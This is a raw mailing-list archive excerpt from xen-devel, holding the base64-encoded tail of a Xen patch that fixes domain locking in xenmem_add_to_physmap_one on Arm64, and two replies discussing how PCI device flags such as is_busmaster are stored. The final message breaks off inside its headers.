 =?utf-8?B?NGpva2Q3c05tWHpNTGxKbmhsQ3NUUUNVUnJSQ2JYUnpWR211V0lKaG9aM2U3?=
 =?utf-8?B?L09QQ1o2UUdXYmtaZU02QWx6UWxicDhoYzM5SjVDazV3KzFsZS9BT21Mbm1s?=
 =?utf-8?B?d01HOVpPZXcyZEZrM0V5Y0I3YkU1bDdkbEUzSGhHak9Obm9MRXF2NHhrVllv?=
 =?utf-8?B?L1krdUd5ZjlPdHYyWDAxcFQwNnhZcExranNxVXhyenNsYndpNG1ZTWFVUUc5?=
 =?utf-8?B?a29ZOU0zZlRWNXRxQVZBSnZabVNMR0MyalljNDBZeVQ2SitBQW5WWFlkaVJU?=
 =?utf-8?B?RWhuRnpPQmhuRkU1a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?B?S0FVaXkyc3BsOTZQNVV6bEJ0d0ZlcHZCdUpWbFZDb044V3FLaGZEbWl5OFJF?=
 =?utf-8?B?eSt2bWt6M01kYVpRVzdrcWRzOTZDTHRzYVBzZ2V5Q2VqSlNpSklWTUF6NUlY?=
 =?utf-8?B?ckgwU3ZibXRyRE96OXF5QnBZSWxLMGdEMUtYbW5wampyTGxXUmxCVjZaS0h6?=
 =?utf-8?B?SU9JWGNvQUdDMUxlNnpBVHBaVDhFTGJjSE9VSUE5WjBzdTNuUlpkOVhZNENa?=
 =?utf-8?Q?jXlDe13I7/kjATgp2uX+w6TxmuH2lsvLuwp6K?=
Content-Type: text/plain; charset="utf-8"
Content-ID: <42171481A6EC73449FF2D37A1368B409@eurprd03.prod.outlook.com>
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: AM4PR03MB11152.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 5256d075-fdcc-402d-d795-08dee1dc7868
X-MS-Exchange-CrossTenant-originalarrivaltime: 14 Jul 2026 19:16:56.1734
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: 6P6RZ6wX/xj06ZSp4yy8yajCAz/ymudacapEOBeJu97Iw7oOiaRA6lyA4BPcpI/KtquWI07udNBnd4mfNmpoRuqhyfwUw9d/UCcyCjPM0MI=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DU4PR03MB10718
X-purgate-ID: tlsNG-42698a/1784056622-A92CC9EA-782DC63F/0/0
X-purgate-type: clean
X-purgate-size: 12970

QSBwcml2aWxlZ2VkIGRvbWFpbiBvbiBBcm02NCBjYW4gdHJpZ2dlciBhIGRhdGEgYWJvcn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5jDQpAQCAtMTkxLDIwICsxOTEs
MjUgQEAgaW50IHhlbm1lbV9hZGRfdG9fcGh5c21hcF9vbmUoDQogICAgICAgICBzdHJ1Y3QgZG9t
YWluICpvZDsNCiAgICAgICAgIHAybV90eXBlX3QgcDJtdDsNCiANCi0gICAgICAgIG9kID0gZ2V0
X3BnX293bmVyKGV4dHJhLmZvcmVpZ25fZG9taWQpOw0KLSAgICAgICAgaWYgKCBvZCA9PSBOVUxM
ICkNCi0gICAgICAgICAgICByZXR1cm4gLUVTUkNIOw0KLQ0KLSAgICAgICAgaWYgKCBvZCA9PSBk
ICkNCisgICAgICAgIGlmICggZXh0cmEuZm9yZWlnbl9kb21pZCA9PSBET01JRF9YRU4gKQ0KKyAg
ICAgICAgICAgIG9kID0gcmN1X2xvY2tfZG9tYWluKGRvbV94ZW4pOw0KKyAgICAgICAgZWxzZQ0K
ICAgICAgICAgew0KLSAgICAgICAgICAgIHB1dF9wZ19vd25lcihvZCk7DQotICAgICAgICAgICAg
cmV0dXJuIC1FSU5WQUw7DQorICAgICAgICAgICAgcmMgPSByY3VfbG9ja19yZW1vdGVfZG9tYWlu
X2J5X2lkKGV4dHJhLmZvcmVpZ25fZG9taWQsICZvZCk7DQorICAgICAgICAgICAgaWYgKCByYyAp
DQorICAgICAgICAgICAgICAgIHJldHVybiByYzsNCisNCisgICAgICAgICAgICBpZiAoIG9kID09
IGQgKQ0KKyAgICAgICAgICAgIHsNCisgICAgICAgICAgICAgICAgcmN1X3VubG9ja19kb21haW4o
b2QpOw0KKyAgICAgICAgICAgICAgICByZXR1cm4gLUVJTlZBTDsNCisgICAgICAgICAgICB9DQog
ICAgICAgICB9DQogDQogICAgICAgICByYyA9IHhzbV9tYXBfZ21mbl9mb3JlaWduKFhTTV9UQVJH
RVQsIGQsIG9kKTsNCiAgICAgICAgIGlmICggcmMgKQ0KICAgICAgICAgew0KLSAgICAgICAgICAg
IHB1dF9wZ19vd25lcihvZCk7DQorICAgICAgICAgICAgcmN1X3VubG9ja19kb21haW4ob2QpOw0K
ICAgICAgICAgICAgIHJldHVybiByYzsNCiAgICAgICAgIH0NCiANCkBAIC0yMTMsNyArMjE4LDcg
QEAgaW50IHhlbm1lbV9hZGRfdG9fcGh5c21hcF9vbmUoDQogICAgICAgICBwYWdlID0gZ2V0X3Bh
Z2VfZnJvbV9nZm4ob2QsIGlkeCwgJnAybXQsIFAyTV9BTExPQyk7DQogICAgICAgICBpZiAoICFw
YWdlICkNCiAgICAgICAgIHsNCi0gICAgICAgICAgICBwdXRfcGdfb3duZXIob2QpOw0KKyAgICAg
ICAgICAgIHJjdV91bmxvY2tfZG9tYWluKG9kKTsNCiAgICAgICAgICAgICByZXR1cm4gLUVJTlZB
TDsNCiAgICAgICAgIH0NCiANCkBAIC0yMjIsMTMgKzIyNywxMyBAQCBpbnQgeGVubWVtX2FkZF90
b19waHlzbWFwX29uZSgNCiAgICAgICAgIGVsc2UNCiAgICAgICAgIHsNCiAgICAgICAgICAgICBw
dXRfcGFnZShwYWdlKTsNCi0gICAgICAgICAgICBwdXRfcGdfb3duZXIob2QpOw0KKyAgICAgICAg
ICAgIHJjdV91bmxvY2tfZG9tYWluKG9kKTsNCiAgICAgICAgICAgICByZXR1cm4gLUVJTlZBTDsN
CiAgICAgICAgIH0NCiANCiAgICAgICAgIG1mbiA9IHBhZ2VfdG9fbWZuKHBhZ2UpOw0KIA0KLSAg
ICAgICAgcHV0X3BnX293bmVyKG9kKTsNCisgICAgICAgIHJjdV91bmxvY2tfZG9tYWluKG9kKTsN
CiAgICAgICAgIGJyZWFrOw0KICAgICB9DQogICAgIGNhc2UgWEVOTUFQU1BBQ0VfZGV2X21taW86
DQotLSANCjIuMzQuMQ0K


From xen-devel-bounces@lists.xenproject.org Tue Jul 14 19:35:26 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 19:35:26 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362519.1614344 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjiuN-00065J-Fr; Tue, 14 Jul 2026 19:35:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362519.1614344; Tue, 14 Jul 2026 19:35:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjiuN-00065C-DG; Tue, 14 Jul 2026 19:35:11 +0000
Received: by outflank-mailman (input) for mailman id 1362519;
 Tue, 14 Jul 2026 19:35:10 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mhi@mailbox.org>) id 1wjiuM-000656-AC
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 19:35:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjiuL-001xcx-45
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 21:35:09 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mhi@mailbox.org>)
 id 6a568f69-e002-0a2a0a5209dd-0a2a4506ae36-10
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 21:35:08 +0200
Received: from [80.241.56.171] (helo=mout-p-201.mailbox.org)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mhi@mailbox.org>)
 id 6a568f6c-195a-0a2a45060019-50f138ab8f8a-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 21:35:08 +0200
Received: from smtp202.mailbox.org (smtp202.mailbox.org [10.196.197.202])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange x25519 server-signature RSA-PSS (4096 bits) server-digest SHA512)
 (No client certificate requested)
 by mout-p-201.mailbox.org (Postfix) with ESMTPS id 4h08f41257zMlGN;
 Tue, 14 Jul 2026 21:35:08 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mail20150812 header.d=mailbox.org header.i="@mailbox.org" header.h="From:Subject:Date:Message-Id:To:Cc:Mime-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"; dkim=pass header.s=mail20150812 header.d=mailbox.org header.i="@mailbox.org" header.h="From:Subject:Date:Message-Id:To:Cc:Mime-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mailbox.org; s=mail20150812;
	t=1784057708;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=k6uxr+UunWeCr0jqc3uJLy4BoPjB01Cn7PPlmFpF9bQ=;
	b=QuMdaAUmzBQNS2NVKgfWWqTT7THLOeBAvDNUU+v/k26L7jVqNPyWAgwjLisRzYB8kFltiB
	6yfXjdnENmfZ5qR/2jjl3ngZCY/pw65d20MopbgI2mh5qIfPCqk+B2TtKUBa6yqFa0HCdq
	rdLd7Ye6DQFAsRxd+QGVf83/A6ZsXhzF6IYA0whTbP+2yvMAFMGioq/QzzAnpnWD34/Oon
	R307E7+1eb/jGOJsTIJGw4MkpwmeJ+tYrNi+ICRyw91pvchm9pPdFspmF4KDV8m1TV3Cyo
	UX6blVrjnIOCmNcQHaAyv65u4kKOqmTypE7oLyDblYVoo4nqA57K7wKRFEtZBA==
Mime-Version: 1.0
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mailbox.org; s=mail20150812;
	t=1784057706;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=k6uxr+UunWeCr0jqc3uJLy4BoPjB01Cn7PPlmFpF9bQ=;
	b=lucqK6n8CkEfQ2vEfaJphbDANeuwE56/Z++FuFpnf7NvxqqxEM8R75w+XFselNZruYeSyJ
	2E++E1qBxf5JGQvP0er/p+FKtbJ6/Zfd0A62onSLk2QZNX6bfuQ68awTmvzoOf91NdKqKn
	rmPopbtKyRAosGiZ5enfDTyZ0VcU/TVUwgKFe4LM1OEx3QDhYqh2+LbSErwQWPbctj0n9S
	/M8PZ4YA1tvmLgQ4wNx3waZFxF2GfJY6NIiTj2Bo2gwmywYyKI6SUK1XHSZ6s8JSIfL+e7
	MNqas209UnyFOokBUeKxFf8e81pZvBIEV8Qlh1uZGkc5mDxdO7Jhqd7K1FxUPQ==
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Tue, 14 Jul 2026 21:34:56 +0200
Message-Id: <DJYJO745N6HZ.23EJ5DJ7I0BP5@mailbox.org>
Cc: "Edward Cree" <ecree.xilinx@gmail.com>, "Andrew Lunn"
 <andrew+netdev@lunn.ch>, "David S. Miller" <davem@davemloft.net>, "Eric
 Dumazet" <edumazet@google.com>, "Jakub Kicinski" <kuba@kernel.org>, "Paolo
 Abeni" <pabeni@redhat.com>, "Bjorn Helgaas" <bhelgaas@google.com>, "Justin
 Tee" <justin.tee@broadcom.com>, "Paul Ely" <paul.ely@broadcom.com>, "James
 E.J. Bottomley" <James.Bottomley@hansenpartnership.com>, "Martin K.
 Petersen" <martin.petersen@oracle.com>, "Juergen Gross" <jgross@suse.com>,
 "Stefano Stabellini" <sstabellini@kernel.org>, "Oleksandr Tyshchenko"
 <oleksandr_tyshchenko@epam.com>, "Miguel Ojeda" <ojeda@kernel.org>, "Boqun
 Feng" <boqun@kernel.org>, "Gary Guo" <gary@garyguo.net>,
 =?utf-8?q?Bj=C3=B6rn_Roy_Baron?= <bjorn3_gh@protonmail.com>, "Benno Lossin"
 <lossin@kernel.org>, "Andreas Hindborg" <a.hindborg@kernel.org>, "Alice
 Ryhl" <aliceryhl@google.com>, "Trevor Gross" <tmgross@umich.edu>, "Daniel
 Almeida" <daniel.almeida@collabora.com>, "Tamir Duberstein"
 <tamird@kernel.org>, "Alexandre Courbot" <acourbot@nvidia.com>,
 =?utf-8?q?Onur_=C3=96zkan?= <work@onurozkan.dev>, "Borislav Petkov"
 <bp@alien8.de>, "Tony Luck" <tony.luck@intel.com>, "Danilo Krummrich"
 <dakr@kernel.org>, <rust-for-linux@vger.kernel.org>,
 <netdev@vger.kernel.org>, <linux-net-drivers@amd.com>,
 <linux-kernel@vger.kernel.org>, <linux-pci@vger.kernel.org>,
 <linux-scsi@vger.kernel.org>, <xen-devel@lists.xenproject.org>,
 <linux-edac@vger.kernel.org>
Subject: Re: [PATCH 1/2] PCI: Replace pci_dev->is_busmaster with accessors
From: "Maurice Hieronymus" <mhi@mailbox.org>
To: "Lukas Wunner" <lukas@wunner.de>, "Maurice Hieronymus" <mhi@mailbox.org>
References: <20260711-pci-dev-flags-v1-0-2fcf2811138c@mailbox.org>
 <20260711-pci-dev-flags-v1-1-2fcf2811138c@mailbox.org>
 <alOkgrK7Fm6opB4r@wunner.de>
In-Reply-To: <alOkgrK7Fm6opB4r@wunner.de>
X-MBO-RS-ID: 26cc25a0ec5af51ece5
X-MBO-RS-META: nfsfy951dumk6mo6odtrggnyqgfwzm9r
X-purgate-ID: tlsNG-16d1c6/1784057708-1FCCD77B-08F52DE8/0/0
X-purgate-type: clean
X-purgate-size: 331

On Sun Jul 12, 2026 at 4:28 PM CEST, Lukas Wunner wrote:

> We already have the priv_flags member in struct pci_dev,
> please use that instead of adding another one for the same purpose.
>
v2 moves the bit into priv_flags and exposes accessor functions
for those drivers which needs to access the flags.

Best,

Maurice


From xen-devel-bounces@lists.xenproject.org Tue Jul 14 19:37:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 19:37:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362527.1614354 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjiw8-0006Yv-Rk; Tue, 14 Jul 2026 19:37:00 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362527.1614354; Tue, 14 Jul 2026 19:37:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjiw8-0006Yo-NA; Tue, 14 Jul 2026 19:37:00 +0000
Received: by outflank-mailman (input) for mailman id 1362527;
 Tue, 14 Jul 2026 19:36:59 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mhi@mailbox.org>) id 1wjiw7-0006Yi-0b
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 19:36:59 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjiw6-001xs3-DW
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 21:36:58 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mhi@mailbox.org>)
 id 6a568fc2-bab6-0a2a0a5309dd-0a2a4504d4b2-20
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 21:36:58 +0200
Received: from [80.241.56.151] (helo=mout-p-101.mailbox.org)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mhi@mailbox.org>)
 id 6a568fda-b57f-0a2a45040019-50f1389791bc-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 21:36:58 +0200
Received: from smtp102.mailbox.org (smtp102.mailbox.org
 [IPv6:2001:67c:2050:b231:465::102])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange x25519 server-signature RSA-PSS (4096 bits) server-digest SHA512)
 (No client certificate requested)
 by mout-p-101.mailbox.org (Postfix) with ESMTPS id 4h08h95yhsz8v36;
 Tue, 14 Jul 2026 21:36:57 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mail20150812 header.d=mailbox.org header.i="@mailbox.org" header.h="From:Subject:Date:Message-Id:To:Cc:Mime-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"; dkim=pass header.s=mail20150812 header.d=mailbox.org header.i="@mailbox.org" header.h="From:Subject:Date:Message-Id:To:Cc:Mime-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mailbox.org; s=mail20150812;
	t=1784057817;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=w0Wi1q4BS9lRkpK3qWatwz/kytotQz+59Wf8+u9AiPE=;
	b=e7S0Tu+DVytj4usCrWgwVM68Xix/RP4xbXYX03+zsC3FQigbyTnQzw8qzY94nhifaX4Iuf
	eTJxwzcBYzWiReEMzVWOzbbejPqqfWUlEKH9UyDi6UlY7AOIXmjOR//HCXwNYLsB/WeZ5E
	LUY1FqhjRM4b7sEp/HgY+G3t7oe3B+z9iCdnGIkZc8SupiJuRc+xpK0dDWDpZIQ5uHAu/f
	Bi4wqQ/fsdCx1jNzzWW9rwO3KVhLi9zK6DQ81SVGDdwYoy7k6EjZxcxvBzZBV02cE+5Jdq
	ZXyTkriURJnhccpDFLAkNoNOEGTZWstGYAJ+XK3jO256RSCzojN0YdoAQmCuIQ==
Authentication-Results: outgoing_mbo_mout;
	dkim=pass header.d=mailbox.org header.s=mail20150812 header.b=xvjOuN1v;
	spf=pass (outgoing_mbo_mout: domain of mhi@mailbox.org designates 2001:67c:2050:b231:465::102 as permitted sender) smtp.mailfrom=mhi@mailbox.org
Mime-Version: 1.0
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mailbox.org; s=mail20150812;
	t=1784057815;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=w0Wi1q4BS9lRkpK3qWatwz/kytotQz+59Wf8+u9AiPE=;
	b=xvjOuN1vzLKjZ26Tmn+S2qLO3u+8OwUIfuWAayCB2SKrbAhd1wB9h6niBpWpt0p5qmeWiR
	vBkk+2rOsDleEmE2O4vyR7KZv28n97ejyHwOTDqthsf5NfADAm4cc3VoauGrf/FEhJbrQb
	iJuRoAo+jBdNFmU1JdZewC6s9eA49cae+qlTW/trKz4oJsnlNtegNHVhaL+uUVYnbCXucI
	crFz4AoN/ZQwF7uTrzBMpeVHtwJMmi5Pb7AFvhw3OK7kongiigRedeFwapJvVXHXYgol9x
	VzFwDGyI4QIl2yFfPINCRjhtQFvOYJLMaVFRGRMU4Z2lWq9fFLWF5m4T4vYhfQ==
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Tue, 14 Jul 2026 21:36:44 +0200
Message-Id: <DJYJPKVVNEYV.1VCK4XOL7XLXE@mailbox.org>
Cc: "Edward Cree" <ecree.xilinx@gmail.com>, "Andrew Lunn"
 <andrew+netdev@lunn.ch>, "David S. Miller" <davem@davemloft.net>, "Eric
 Dumazet" <edumazet@google.com>, "Jakub Kicinski" <kuba@kernel.org>, "Paolo
 Abeni" <pabeni@redhat.com>, "Bjorn Helgaas" <bhelgaas@google.com>, "Justin
 Tee" <justin.tee@broadcom.com>, "Paul Ely" <paul.ely@broadcom.com>, "James
 E.J. Bottomley" <James.Bottomley@hansenpartnership.com>, "Martin K.
 Petersen" <martin.petersen@oracle.com>, "Juergen Gross" <jgross@suse.com>,
 "Stefano Stabellini" <sstabellini@kernel.org>, "Oleksandr Tyshchenko"
 <oleksandr_tyshchenko@epam.com>, "Miguel Ojeda" <ojeda@kernel.org>, "Boqun
 Feng" <boqun@kernel.org>, "Gary Guo" <gary@garyguo.net>,
 =?utf-8?q?Bj=C3=B6rn_Roy_Baron?= <bjorn3_gh@protonmail.com>, "Benno Lossin"
 <lossin@kernel.org>, "Andreas Hindborg" <a.hindborg@kernel.org>, "Alice
 Ryhl" <aliceryhl@google.com>, "Trevor Gross" <tmgross@umich.edu>, "Daniel
 Almeida" <daniel.almeida@collabora.com>, "Tamir Duberstein"
 <tamird@kernel.org>, "Alexandre Courbot" <acourbot@nvidia.com>,
 =?utf-8?q?Onur_=C3=96zkan?= <work@onurozkan.dev>, "Borislav Petkov"
 <bp@alien8.de>, "Tony Luck" <tony.luck@intel.com>, "Danilo Krummrich"
 <dakr@kernel.org>, <rust-for-linux@vger.kernel.org>,
 <netdev@vger.kernel.org>, <linux-net-drivers@amd.com>,
 <linux-kernel@vger.kernel.org>, <linux-pci@vger.kernel.org>,
 <linux-scsi@vger.kernel.org>, <xen-devel@lists.xenproject.org>,
 <linux-edac@vger.kernel.org>
Subject: Re: [PATCH 2/2] PCI: Replace pci_dev->broken_parity_status with
 accessors
From: "Maurice Hieronymus" <mhi@mailbox.org>
To: "Lukas Wunner" <lukas@wunner.de>, "Maurice Hieronymus" <mhi@mailbox.org>
References: <20260711-pci-dev-flags-v1-0-2fcf2811138c@mailbox.org>
 <20260711-pci-dev-flags-v1-2-2fcf2811138c@mailbox.org>
 <alOq4rsjATipBjY9@wunner.de>
In-Reply-To: <alOq4rsjATipBjY9@wunner.de>
X-MBO-RS-ID: 05fc47b8a807a8d7f87
X-MBO-RS-META: jwkwhigke4zsupccfdb75c4p5d75mnzy
X-Rspamd-Queue-Id: 4h08h95yhsz8v36
X-purgate-ID: tlsNG-ebf023/1784057818-C26CAB50-CA3BC183/0/0
X-purgate-type: clean
X-purgate-size: 1819

On Sun Jul 12, 2026 at 4:55 PM CEST, Lukas Wunner wrote:
>
> For static bits in struct pci_dev, i.e. ones that are mostly read
> and almost never written, and in particular ones that are only
> written on device enumeration, it's perfectly fine and more convenient
> to keep them as bitfields.  broken_parity_status seems to fit that bill.
>
Its only writer is broken_parity_status_store(), so it is written from
sysfs at arbitrary times rather than on enumeration. But I agree the
exposure is small; apart from the sysfs attribute itself, EDAC is the
only reader.

> For other bits which are modified more frequently, move them to the exist=
ing
> priv_flags member if you believe they can be updated concurrently.
> I'm not sure is_busmaster fits that bill, it isn't updated that often.
>
The motivation is not update frequency. The planned Rust device
enabling rework [1] wants a guard object whose drop calls
pci_disable_device(), which may then run concurrently with
pci_set_master(). Moving is_busmaster out of the bitfield stops those
paths from writing to the word shared with the other bits.

> Quite honestly I'm wondering if there is anything to fix here.
> Yes I get it, userspace may interfere with adjacent bits.
> But broken_parity_status is only used for certain broken devices
> on EDAC-capable platforms.  That's a fringe use case.
> Is it really worth refactoring this?
>
I dropped this patch in v2 and moved only is_busmaster, into
priv_flags as you suggested.

> Perhaps we can deprecate the sysfs attribute in favor of using quirks
> for broken devices?
>
That sounds like the better long term fix to me, but I would leave it
to a separate discussion.

[1] https://lore.kernel.org/rust-for-linux/DJOEYVBS17MJ.1YD3TNGQBWHNK@kerne=
l.org/

Best,

Maurice


From xen-devel-bounces@lists.xenproject.org Tue Jul 14 19:37:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 19:37:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362534.1614361 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjiwX-0006ys-0e; Tue, 14 Jul 2026 19:37:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362534.1614361; Tue, 14 Jul 2026 19:37:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjiwW-0006yl-U5; Tue, 14 Jul 2026 19:37:24 +0000
Received: by outflank-mailman (input) for mailman id 1362534;
 Tue, 14 Jul 2026 19:37:24 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mhi@mailbox.org>) id 1wjiwW-0006yb-0I
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 19:37:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjiwV-001xxt-DV
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 21:37:23 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mhi@mailbox.org>)
 id 6a568fde-2eae-0a2a0a5409dd-0a2a450293a0-24
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 21:37:23 +0200
Received: from [80.241.56.152] (helo=mout-p-102.mailbox.org)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mhi@mailbox.org>)
 id 6a568ff2-6ca4-0a2a45020019-50f13898bac2-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 21:37:23 +0200
Received: from smtp102.mailbox.org (smtp102.mailbox.org [10.196.197.102])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange x25519 server-signature RSA-PSS (4096 bits) server-digest SHA512)
 (No client certificate requested)
 by mout-p-102.mailbox.org (Postfix) with ESMTPS id 4h08hf0vzjzKvvW;
 Tue, 14 Jul 2026 21:37:22 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mail20150812 header.d=mailbox.org header.i="@mailbox.org" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding"; dkim=pass header.s=mail20150812 header.d=mailbox.org header.i="@mailbox.org" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mailbox.org; s=mail20150812;
	t=1784057842;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding;
	bh=1ofGv+oKh8MyF1GowqA3GVjMzH+NCBy1xlrefUGXfXA=;
	b=l38MNjwHNIXQw+IdCfCjpNmNOE6iwLP1EIQSJydvHsSB32t8oXLtohOvMheWXJQTDgWrTM
